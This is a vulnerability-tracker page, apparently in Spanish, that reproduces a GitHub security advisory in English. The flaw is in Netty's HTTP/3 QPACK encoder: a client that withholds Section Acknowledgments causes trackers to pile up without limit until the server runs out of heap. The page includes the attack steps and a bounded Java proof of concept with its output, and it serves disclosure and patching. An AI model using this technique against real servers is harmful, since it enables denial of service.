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Advisory · GitHub · Maven · io.netty:netty-codec-http3

GHSA-495P-PCHH-R4MC

QpackEncoder retains unbounded per-stream dynamic-table trackers when a peer withholds Section Acknowledgments

Parche disponible
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CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición72 dDesde la divulgación, 9 sept 2026, 7:44 p. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.2.18.Final
Monitoreo
Detectada +1
9 sept 26
10 sept 26
19 nov 26
21 nov 26
9 sept 26
27 sept 26
15 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 4.2.18.Final io.netty:netty-codec-http3 · -1 d desde divulgación
Divulgación Publicada GHSA-495P-PCHH-R4MC divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Netty's HTTP/3 `QpackEncoder` retains one queue and one dynamic-table index tracker for every encoded field section that references the QPACK dynamic table. These objects are removed only when the remote decoder sends a Section Acknowledgment or Stream Cancellation instruction. There is no limit on the number of tracked streams, total field sections, index arrays, or retained bytes.

A malicious HTTP/3 client can advertise a non-zero QPACK dynamic-table capacity, cause the server to emit a repeatable dynamically indexed response header, acknowledge receipt of the table insertion, and then omit all mandatory per-response Section Acknowledgments. By opening and completing requests sequentially, the client bypasses the concurrent-stream limit while growing `streamSectionTrackers` for the lifetime of one QUIC connection until the server exhausts its heap.

Details

`Http3FrameCodec` invokes `QpackEncoder.encodeHeaders(...)` for response header and trailer field sections. For every dynamic-table reference, `QpackEncoder` builds an `Indices` object. It then inserts that object into a map keyed by the peer-controlled QUIC stream ID:

private LongObjectHashMap<Queue<Indices>> streamSectionTrackers;

// Track all the indices that we need to ack later.
if (dynamicTableIndices != null) {
    assert streamSectionTrackers != null;
    streamSectionTrackers.computeIfAbsent(streamId, __ -> new ArrayDeque<>())
            .add(dynamicTableIndices);
}

The map entry is removed only by instructions received on the peer's QPACK decoder stream:

void sectionAcknowledgment(long streamId) throws QpackException {
    final Queue<Indices> tracker = streamSectionTrackers.get(streamId);
    // ...
    if (tracker.isEmpty()) {
        streamSectionTrackers.remove(streamId);
    }
}

void streamCancellation(long streamId) throws QpackException {
    final Queue<Indices> tracker = streamSectionTrackers.remove(streamId);
    // ...
}

Normal completion of the local HTTP/3 request stream does not remove the tracker. This is necessary for a compliant decoder, because a closed stream can still have an outstanding field-section acknowledgment, but it means a malicious decoder controls reclamation. The peer can send one valid Insert Count Increment so the server knows the dynamic entry arrived and can reuse it on every later response, while indefinitely withholding the separate Section Acknowledgments that release the references.

`SETTINGS_QPACK_BLOCKED_STREAMS` does not bound this state. Once the insertion is known to the decoder, later field sections referencing that entry do not risk blocking, yet Netty still records an acknowledgment tracker for every stream. QUIC's concurrent bidirectional-stream limit also does not help because the attack completes each request before opening the next one.

RFC 9204 section 2.2.2 https://www.rfc-editor.org/rfc/rfc9204.html#section-2.2.2 explicitly identifies the encoder memory used to track dynamic-table references in unacknowledged field sections and says implementations can limit the number of references they are willing to track. Netty applies no such limit or timeout.

No Netty advisory, public issue, pull request, or commit describing this encoder-side unacknowledged-field-section growth was found as of 2026-08-01. It is distinct from the publicly assigned CVE-2026-48748: that issue bounded streams retained by the QPACK decoder while waiting for missing encoder insertions; this issue exhausts the QPACK encoder by withholding decoder acknowledgments after successfully receiving the insertions.

PoC

The bounded release PoC uses the package-private production encoder from the Maven Central `4.2.16.Final` JAR, feeds a valid Insert Count Increment after the first response, and intentionally omits every Section Acknowledgment:

QpackEncoder encoder = new QpackEncoder(QpackSensitivityDetector.NEVER_SENSITIVE);
encoder.configureDynamicTable(attributes, 4096, 100);
EmbeddedChannel peerDecoderInstructions =
        new EmbeddedChannel(new QpackDecoderHandler(encoder));

Http3Headers headers = new DefaultHttp3Headers()
        .add("x-qpack-retain", "constant-value");

for (long stream = 0; stream < 25_000; stream++) {
    long streamId = stream << 2; // client-initiated bidirectional stream
    ByteBuf encoded = UnpooledByteBufAllocator.DEFAULT.buffer();
    encoder.encodeHeaders(attributes, encoded,
            UnpooledByteBufAllocator.DEFAULT, streamId, headers);
    encoded.release();

    if (stream == 0) {
        // Feed a valid 0b00xxxxxx QPACK decoder-stream Insert Count
        // Increment instruction with increment=1 to QpackDecoderHandler.
        peerDecoderInstructions.writeInbound(
                Unpooled.wrappedBuffer(new byte[] { 0x01 }));
    }
    // Deliberately do not call sectionAcknowledgment(streamId).
}

Field field = QpackEncoder.class.getDeclaredField("streamSectionTrackers");
field.setAccessible(true);
Object trackers = field.get(encoder);
int retained = (Integer) trackers.getClass().getMethod("size").invoke(trackers);
System.out.println("retained trackers=" + retained);

Compile the complete `QpackRetentionPoC.java` against the Maven Central `io.netty:netty-codec-http3:4.2.16.Final` artifact and run:

java io.netty.handler.codec.http3.QpackRetentionPoC

Observed output:

Netty artifact: netty-codec-http3-4.2.16.Final.jar
QPACK: 25,000 completed streams without Section Acknowledgment leave 25,000 retained trackers

The PoC cancels all 25,000 tracked stream IDs after measuring them so the test itself remains bounded. Omitting that cleanup and increasing the stream count produces linear, connection-lifetime heap growth.

Impact

An unauthenticated remote HTTP/3 client can cause unbounded heap retention in a Netty server that emits at least one repeatable, non-sensitive response header eligible for QPACK dynamic indexing. A single long-lived QUIC connection can grow the map across sequentially completed requests, eventually causing excessive garbage-collection pressure, `OutOfMemoryError`, or process-wide denial of service. The attack does not require many simultaneously active streams, malformed request frames, or high per-request bandwidth.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.netty:netty-codec-http3≥ 4.2.0.Final ≤ 4.2.17.Final
4.2.0.Final
4.2.17.Final
4.2.20.Final
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.netty:netty-codec-http3
Corregida 4.2.18.Final -1 d 4.2.20.Final no afectada
Versiones corregidas4.2.18.Final
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/netty/netty/security/advisories/GHSA-495p-pchh-r4mc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.